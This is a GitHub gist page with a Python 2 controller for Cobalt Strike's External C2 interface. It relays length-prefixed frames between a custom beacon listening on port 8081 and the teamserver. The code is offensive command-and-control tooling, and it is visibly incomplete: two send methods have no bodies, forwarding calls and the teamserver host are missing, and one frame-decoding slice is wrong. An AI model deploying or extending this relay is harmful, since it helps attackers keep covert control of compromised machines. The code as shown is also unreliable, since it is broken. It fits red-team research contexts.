Skip to content

Instantly share code, notes, and snippets.

Last active March 9, 2023 03:03
Show Gist options
  • Save xpn/bb82f2ca4c8e9866c12c54baeb64d771 to your computer and use it in GitHub Desktop.
Save xpn/bb82f2ca4c8e9866c12c54baeb64d771 to your computer and use it in GitHub Desktop.
import socket
import struct
import time
class ExternalC2Controller:
def __init__(self, port):
self.port = port
def encodeFrame(self, data):
return struct.pack("<I", len(data)) + data
def decodeFrame(self, data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)
def sendToTS(self, data):
def recvFromTS(self):
data = ""
_len = self._socketTS.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += self._socketTS.recv(l - len(data))
return data
def sendToBeacon(self, data):
def recvFromBeacon(self):
data = ""
_len = self._socketClient.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += self._socketClient.recv(l - len(data))
return data
def run(self):
# First thing, wait for a connection from our custom beacon
self._socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketBeacon.bind(("", 8081))
self._socketClient = self._socketBeacon.accept()[0]
print "Received C2 connection"
# Now we have a beacon connection, we kick off comms with CS External C2
self._socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketTS.connect(("", self.port))
# Send out config options
# Receive the beacon payload from CS to forward to our custom beacon
data = self.recvFromTS()
print "Sending %d bytes to beacon" % len(data)
data = self.recvFromBeacon()
print "Received %d bytes from beacon" % len(data)
print "Sending %d bytes to TS" % len(data)
data = self.recvFromTS()
print "Received %d bytes from TS" % len(data)
controller = ExternalC2Controller(3389)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment